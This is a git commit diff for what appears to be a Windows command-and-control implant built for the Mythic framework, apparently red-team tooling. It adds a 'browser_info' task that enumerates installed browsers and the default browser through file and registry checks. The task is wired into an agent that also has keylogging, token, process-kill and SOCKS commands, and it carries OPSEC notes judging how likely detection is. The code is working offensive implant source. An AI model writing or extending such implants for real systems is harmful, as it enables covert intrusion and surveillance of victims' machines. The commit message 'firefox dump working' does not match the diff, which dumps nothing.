firefox dump working
This commit is contained in:
@@ -3,8 +3,8 @@ CC = x86_64-w64-mingw32-gcc
|
||||
|
||||
# Base flags
|
||||
CFLAGS = -Wall -w -IInclude
|
||||
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -mwindows
|
||||
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32
|
||||
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -mwindows
|
||||
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion
|
||||
|
||||
# Debug parameters (can be overridden from command line)
|
||||
# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
|
||||
|
||||
@@ -0,0 +1,435 @@
|
||||
#undef UNICODE
|
||||
#include <windows.h>
|
||||
#include <shlobj.h>
|
||||
#include <shlwapi.h>
|
||||
#include <stdio.h>
|
||||
#include "browser_info.h"
|
||||
#include "paquete.h"
|
||||
#include "analizador.h"
|
||||
#include "debug.h"
|
||||
|
||||
#pragma comment(lib, "shlwapi.lib")
|
||||
#pragma comment(lib, "version.lib")
|
||||
|
||||
// Maximum path length
|
||||
#define MAX_PATH_LEN 512
|
||||
|
||||
/**
|
||||
* @brief Check if a file exists at the given path
|
||||
*/
|
||||
BOOL FileExists(LPCSTR path) {
|
||||
DWORD dwAttrib = GetFileAttributesA(path);
|
||||
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
|
||||
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Get file version information from an executable
|
||||
*/
|
||||
BOOL GetFileVersion(LPCSTR filePath, char* version, SIZE_T versionSize) {
|
||||
DWORD dwHandle = 0;
|
||||
DWORD dwSize = GetFileVersionInfoSizeA(filePath, &dwHandle);
|
||||
|
||||
if (dwSize == 0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PBYTE pVersionInfo = (PBYTE)LocalAlloc(LPTR, dwSize);
|
||||
if (!pVersionInfo) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!GetFileVersionInfoA(filePath, dwHandle, dwSize, pVersionInfo)) {
|
||||
LocalFree(pVersionInfo);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
VS_FIXEDFILEINFO* pFileInfo = NULL;
|
||||
UINT uLen = 0;
|
||||
|
||||
if (VerQueryValueA(pVersionInfo, "\\", (LPVOID*)&pFileInfo, &uLen)) {
|
||||
DWORD dwFileVersionMS = pFileInfo->dwFileVersionMS;
|
||||
DWORD dwFileVersionLS = pFileInfo->dwFileVersionLS;
|
||||
|
||||
DWORD major = HIWORD(dwFileVersionMS);
|
||||
DWORD minor = LOWORD(dwFileVersionMS);
|
||||
DWORD build = HIWORD(dwFileVersionLS);
|
||||
DWORD revision = LOWORD(dwFileVersionLS);
|
||||
|
||||
snprintf(version, versionSize, "%lu.%lu.%lu.%lu",
|
||||
major, minor, build, revision);
|
||||
|
||||
LocalFree(pVersionInfo);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
LocalFree(pVersionInfo);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Check for Chrome installation
|
||||
*/
|
||||
BOOL CheckChrome(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
|
||||
// Common Chrome installation paths
|
||||
const char* chromePaths[] = {
|
||||
"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"%LOCALAPPDATA%\\Google\\Chrome\\Application\\chrome.exe",
|
||||
NULL
|
||||
};
|
||||
|
||||
char expandedPath[MAX_PATH_LEN] = {0};
|
||||
|
||||
for (int i = 0; chromePaths[i] != NULL; i++) {
|
||||
if (ExpandEnvironmentStringsA(chromePaths[i], expandedPath, MAX_PATH_LEN) > 0) {
|
||||
if (FileExists(expandedPath)) {
|
||||
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
|
||||
GetFileVersion(expandedPath, version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
} else {
|
||||
// Try direct path if expansion fails
|
||||
if (FileExists(chromePaths[i])) {
|
||||
strncpy_s(path, pathSize, chromePaths[i], _TRUNCATE);
|
||||
GetFileVersion(chromePaths[i], version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Check for Edge installation
|
||||
*/
|
||||
BOOL CheckEdge(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
|
||||
// Common Edge installation paths
|
||||
const char* edgePaths[] = {
|
||||
"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"%LOCALAPPDATA%\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
NULL
|
||||
};
|
||||
|
||||
char expandedPath[MAX_PATH_LEN] = {0};
|
||||
|
||||
for (int i = 0; edgePaths[i] != NULL; i++) {
|
||||
if (ExpandEnvironmentStringsA(edgePaths[i], expandedPath, MAX_PATH_LEN) > 0) {
|
||||
if (FileExists(expandedPath)) {
|
||||
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
|
||||
GetFileVersion(expandedPath, version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
} else {
|
||||
if (FileExists(edgePaths[i])) {
|
||||
strncpy_s(path, pathSize, edgePaths[i], _TRUNCATE);
|
||||
GetFileVersion(edgePaths[i], version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Check for Firefox installation
|
||||
*/
|
||||
BOOL CheckFirefox(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
|
||||
// Common Firefox installation paths
|
||||
const char* firefoxPaths[] = {
|
||||
"C:\\Program Files\\Mozilla Firefox\\firefox.exe",
|
||||
"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe",
|
||||
"%APPDATA%\\Mozilla\\Firefox\\firefox.exe",
|
||||
NULL
|
||||
};
|
||||
|
||||
char expandedPath[MAX_PATH_LEN] = {0};
|
||||
|
||||
for (int i = 0; firefoxPaths[i] != NULL; i++) {
|
||||
if (ExpandEnvironmentStringsA(firefoxPaths[i], expandedPath, MAX_PATH_LEN) > 0) {
|
||||
if (FileExists(expandedPath)) {
|
||||
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
|
||||
GetFileVersion(expandedPath, version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
} else {
|
||||
if (FileExists(firefoxPaths[i])) {
|
||||
strncpy_s(path, pathSize, firefoxPaths[i], _TRUNCATE);
|
||||
GetFileVersion(firefoxPaths[i], version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Check for Opera installation
|
||||
*/
|
||||
BOOL CheckOpera(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
|
||||
// Common Opera installation paths
|
||||
const char* operaPaths[] = {
|
||||
"C:\\Program Files\\Opera\\opera.exe",
|
||||
"C:\\Program Files (x86)\\Opera\\opera.exe",
|
||||
"%LOCALAPPDATA%\\Programs\\Opera\\opera.exe",
|
||||
NULL
|
||||
};
|
||||
|
||||
char expandedPath[MAX_PATH_LEN] = {0};
|
||||
|
||||
for (int i = 0; operaPaths[i] != NULL; i++) {
|
||||
if (ExpandEnvironmentStringsA(operaPaths[i], expandedPath, MAX_PATH_LEN) > 0) {
|
||||
if (FileExists(expandedPath)) {
|
||||
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
|
||||
GetFileVersion(expandedPath, version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
} else {
|
||||
if (FileExists(operaPaths[i])) {
|
||||
strncpy_s(path, pathSize, operaPaths[i], _TRUNCATE);
|
||||
GetFileVersion(operaPaths[i], version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Check for Brave installation
|
||||
*/
|
||||
BOOL CheckBrave(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
|
||||
// Common Brave installation paths
|
||||
const char* bravePaths[] = {
|
||||
"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
|
||||
"C:\\Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
|
||||
"%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
|
||||
NULL
|
||||
};
|
||||
|
||||
char expandedPath[MAX_PATH_LEN] = {0};
|
||||
|
||||
for (int i = 0; bravePaths[i] != NULL; i++) {
|
||||
if (ExpandEnvironmentStringsA(bravePaths[i], expandedPath, MAX_PATH_LEN) > 0) {
|
||||
if (FileExists(expandedPath)) {
|
||||
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
|
||||
GetFileVersion(expandedPath, version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
} else {
|
||||
if (FileExists(bravePaths[i])) {
|
||||
strncpy_s(path, pathSize, bravePaths[i], _TRUNCATE);
|
||||
GetFileVersion(bravePaths[i], version, versionSize);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Get default browser from registry
|
||||
*/
|
||||
BOOL GetDefaultBrowser(char* browserName, SIZE_T nameSize, char* browserPath, SIZE_T pathSize) {
|
||||
HKEY hKey = NULL;
|
||||
char progId[256] = {0};
|
||||
DWORD progIdSize = sizeof(progId);
|
||||
char httpProgId[256] = {0};
|
||||
DWORD httpProgIdSize = sizeof(httpProgId);
|
||||
|
||||
// Try to get default browser from HTTP protocol association
|
||||
if (RegOpenKeyExA(HKEY_CURRENT_USER,
|
||||
"Software\\Microsoft\\Windows\\Shell\\Associations\\URLAssociations\\http\\UserChoice",
|
||||
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||||
if (RegQueryValueExA(hKey, "ProgId", NULL, NULL, (LPBYTE)httpProgId, &httpProgIdSize) == ERROR_SUCCESS) {
|
||||
RegCloseKey(hKey);
|
||||
|
||||
// Map ProgId to browser name
|
||||
if (strstr(httpProgId, "ChromeHTML") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Google Chrome", _TRUNCATE);
|
||||
CheckChrome(browserPath, pathSize, NULL, 0);
|
||||
return TRUE;
|
||||
} else if (strstr(httpProgId, "MSEdgeHTM") != NULL || strstr(httpProgId, "AppX") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Microsoft Edge", _TRUNCATE);
|
||||
CheckEdge(browserPath, pathSize, NULL, 0);
|
||||
return TRUE;
|
||||
} else if (strstr(httpProgId, "FirefoxURL") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Mozilla Firefox", _TRUNCATE);
|
||||
CheckFirefox(browserPath, pathSize, NULL, 0);
|
||||
return TRUE;
|
||||
} else if (strstr(httpProgId, "OperaStable") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Opera", _TRUNCATE);
|
||||
CheckOpera(browserPath, pathSize, NULL, 0);
|
||||
return TRUE;
|
||||
} else {
|
||||
strncpy_s(browserName, nameSize, httpProgId, _TRUNCATE);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
// Fallback: try to get from HKEY_CLASSES_ROOT\http\shell\open\command
|
||||
if (RegOpenKeyExA(HKEY_CLASSES_ROOT, "http\\shell\\open\\command", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||||
char command[MAX_PATH_LEN] = {0};
|
||||
DWORD commandSize = sizeof(command);
|
||||
|
||||
if (RegQueryValueExA(hKey, NULL, NULL, NULL, (LPBYTE)command, &commandSize) == ERROR_SUCCESS) {
|
||||
RegCloseKey(hKey);
|
||||
|
||||
// Extract executable path (remove quotes and parameters)
|
||||
char* exePath = command;
|
||||
if (command[0] == '"') {
|
||||
exePath = command + 1;
|
||||
char* endQuote = strchr(exePath, '"');
|
||||
if (endQuote) {
|
||||
*endQuote = '\0';
|
||||
}
|
||||
} else {
|
||||
// Find first space (end of path)
|
||||
char* space = strchr(exePath, ' ');
|
||||
if (space) {
|
||||
*space = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
if (FileExists(exePath)) {
|
||||
strncpy_s(browserPath, pathSize, exePath, _TRUNCATE);
|
||||
|
||||
// Try to identify browser from path
|
||||
if (strstr(exePath, "chrome.exe") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Google Chrome", _TRUNCATE);
|
||||
} else if (strstr(exePath, "msedge.exe") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Microsoft Edge", _TRUNCATE);
|
||||
} else if (strstr(exePath, "firefox.exe") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Mozilla Firefox", _TRUNCATE);
|
||||
} else if (strstr(exePath, "opera.exe") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Opera", _TRUNCATE);
|
||||
} else if (strstr(exePath, "brave.exe") != NULL) {
|
||||
strncpy_s(browserName, nameSize, "Brave", _TRUNCATE);
|
||||
} else {
|
||||
// Extract filename
|
||||
char* filename = strrchr(exePath, '\\');
|
||||
if (filename) {
|
||||
filename++;
|
||||
} else {
|
||||
filename = exePath;
|
||||
}
|
||||
strncpy_s(browserName, nameSize, filename, _TRUNCATE);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
} else {
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Identify installed browsers and default browser
|
||||
* Lists all detected browsers and identifies the system default browser
|
||||
*/
|
||||
VOID IdentificarNavegadores(PAnalizador argumentos) {
|
||||
SIZE_T tamanoUuid = 36;
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuesta, tareaUuid, FALSE);
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
|
||||
PackageAddFormatPrintf(salida, FALSE, "=== Installed Browsers ===\n\n");
|
||||
|
||||
int browserCount = 0;
|
||||
char path[MAX_PATH_LEN] = {0};
|
||||
char version[64] = {0};
|
||||
|
||||
// Check Chrome
|
||||
if (CheckChrome(path, sizeof(path), version, sizeof(version))) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "[%d] Google Chrome\n", ++browserCount);
|
||||
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
|
||||
if (strlen(version) > 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
|
||||
}
|
||||
PackageAddFormatPrintf(salida, FALSE, "\n");
|
||||
}
|
||||
|
||||
// Check Edge
|
||||
if (CheckEdge(path, sizeof(path), version, sizeof(version))) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "[%d] Microsoft Edge\n", ++browserCount);
|
||||
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
|
||||
if (strlen(version) > 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
|
||||
}
|
||||
PackageAddFormatPrintf(salida, FALSE, "\n");
|
||||
}
|
||||
|
||||
// Check Firefox
|
||||
if (CheckFirefox(path, sizeof(path), version, sizeof(version))) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "[%d] Mozilla Firefox\n", ++browserCount);
|
||||
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
|
||||
if (strlen(version) > 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
|
||||
}
|
||||
PackageAddFormatPrintf(salida, FALSE, "\n");
|
||||
}
|
||||
|
||||
// Check Opera
|
||||
if (CheckOpera(path, sizeof(path), version, sizeof(version))) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "[%d] Opera\n", ++browserCount);
|
||||
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
|
||||
if (strlen(version) > 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
|
||||
}
|
||||
PackageAddFormatPrintf(salida, FALSE, "\n");
|
||||
}
|
||||
|
||||
// Check Brave
|
||||
if (CheckBrave(path, sizeof(path), version, sizeof(version))) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "[%d] Brave\n", ++browserCount);
|
||||
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
|
||||
if (strlen(version) > 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
|
||||
}
|
||||
PackageAddFormatPrintf(salida, FALSE, "\n");
|
||||
}
|
||||
|
||||
if (browserCount == 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "No browsers detected.\n\n");
|
||||
}
|
||||
|
||||
// Get default browser
|
||||
PackageAddFormatPrintf(salida, FALSE, "=== Default Browser ===\n\n");
|
||||
char defaultBrowser[256] = {0};
|
||||
char defaultPath[MAX_PATH_LEN] = {0};
|
||||
|
||||
if (GetDefaultBrowser(defaultBrowser, sizeof(defaultBrowser),
|
||||
defaultPath, sizeof(defaultPath))) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "Name: %s\n", defaultBrowser);
|
||||
if (strlen(defaultPath) > 0) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "Path: %s\n", defaultPath);
|
||||
}
|
||||
} else {
|
||||
PackageAddFormatPrintf(salida, FALSE, "Could not determine default browser.\n");
|
||||
}
|
||||
|
||||
// Add output first
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Add artifacts for registry reads (after output)
|
||||
addArtifact(respuesta, "Registry Read", "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Shell\\Associations\\URLAssociations\\http\\UserChoice");
|
||||
addArtifact(respuesta, "Registry Read", "HKEY_CLASSES_ROOT\\http\\shell\\open\\command");
|
||||
mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuesta);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef BROWSER_INFO_H
|
||||
#define BROWSER_INFO_H
|
||||
|
||||
#include "analizador.h"
|
||||
#include "paquete.h"
|
||||
|
||||
// Browser information command code (must match translator)
|
||||
#define BROWSER_INFO_CMD 0x40
|
||||
|
||||
// Forward declarations
|
||||
VOID IdentificarNavegadores(PAnalizador argumentos);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -175,6 +175,10 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
|
||||
MatarProceso(analizadorTarea);
|
||||
_inf("===== KILL_CMD COMPLETED =====");
|
||||
} else if (tarea == BROWSER_INFO_CMD) {
|
||||
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
|
||||
IdentificarNavegadores(analizadorTarea);
|
||||
_inf("===== BROWSER_INFO_CMD COMPLETED =====");
|
||||
} else {
|
||||
_wrn("Tarea desconocida: 0x%02x", tarea);
|
||||
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
|
||||
|
||||
@@ -14,6 +14,7 @@
|
||||
#include "keylog.h"
|
||||
#include "tokens.h"
|
||||
#include "rpfwd_manager.h"
|
||||
#include "browser_info.h"
|
||||
|
||||
#define SHELL_CMD 0x54
|
||||
#define GET_TASKING 0x00
|
||||
@@ -55,6 +56,9 @@
|
||||
#define WHOAMI_CMD 0x36
|
||||
#define KILL_CMD 0x37
|
||||
|
||||
/* Browser information command */
|
||||
#define BROWSER_INFO_CMD 0x40
|
||||
|
||||
/* Extension marker to carry SOCKS array in binary messages */
|
||||
#define SOCKS_BLOCK_MARKER 0xF5
|
||||
/* Extension marker to carry RPFWD array in binary messages */
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
|
||||
|
||||
class BrowserInfoArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
raise ValueError("browser_info no debe lanzarse con parámetros")
|
||||
|
||||
|
||||
class BrowserInfoCommand(CommandBase):
|
||||
cmd = "browser_info"
|
||||
needs_admin = False
|
||||
help_cmd = "browser_info"
|
||||
description = "Identify installed web browsers and the default browser on the target system. Lists all detected browsers (Chrome, Edge, Firefox, Opera, Brave, etc.) with their installation paths and version information. Also identifies the system's default browser. This command is read-only and does not modify system state."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = ["T1082", "T1518"]
|
||||
argument_class = BrowserInfoArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
This is a read-only information gathering command with low detection risk.
|
||||
"""
|
||||
message = "ℹ️ OPSEC INFO - Browser Information Gathering\n\n"
|
||||
message += "This command will:\n"
|
||||
message += " • Read registry keys (HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE)\n"
|
||||
message += " • Check file system for browser installation paths\n"
|
||||
message += " • Query default browser associations\n\n"
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • Registry reads are generally low-risk\n"
|
||||
message += " • File system enumeration may be logged (if auditing enabled)\n"
|
||||
message += " • No process creation or network activity\n\n"
|
||||
message += "✅ LOW DETECTION PROBABILITY - Read-only operation.\n"
|
||||
message += "This command does not modify system state or create suspicious artifacts."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=False,
|
||||
OpsecPreBypassRole="operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
message = "ℹ️ OPSEC POST-CHECK - Browser Information Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Registry Read: Browser registry keys accessed\n"
|
||||
message += " • File Read: Browser installation paths checked\n\n"
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • Registry read events (if auditing enabled)\n"
|
||||
message += " • File system access logs (if auditing enabled)\n\n"
|
||||
message += "⚠️ LOW DETECTION PROBABILITY:\n"
|
||||
message += " • Read-only operations are rarely flagged\n"
|
||||
message += " • No process creation or network activity\n"
|
||||
message += " • No file modifications\n\n"
|
||||
message += "✅ This is a WARNING only - task will proceed.\n"
|
||||
message += "This command is safe for information gathering."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False,
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
"""
|
||||
Process response from agent.
|
||||
The response contains browser information in a structured format.
|
||||
"""
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -28,6 +28,8 @@ commands = {
|
||||
"rev2self": {"hex_code": 0x35, "input_type": None},
|
||||
"whoami": {"hex_code": 0x36, "input_type": None},
|
||||
"kill": {"hex_code": 0x37, "input_type": "string"},
|
||||
# Browser information command
|
||||
"browser_info": {"hex_code": 0x40, "input_type": None},
|
||||
# Added SOCKS control commands
|
||||
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
||||
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
||||
|
||||
Reference in New Issue
Block a user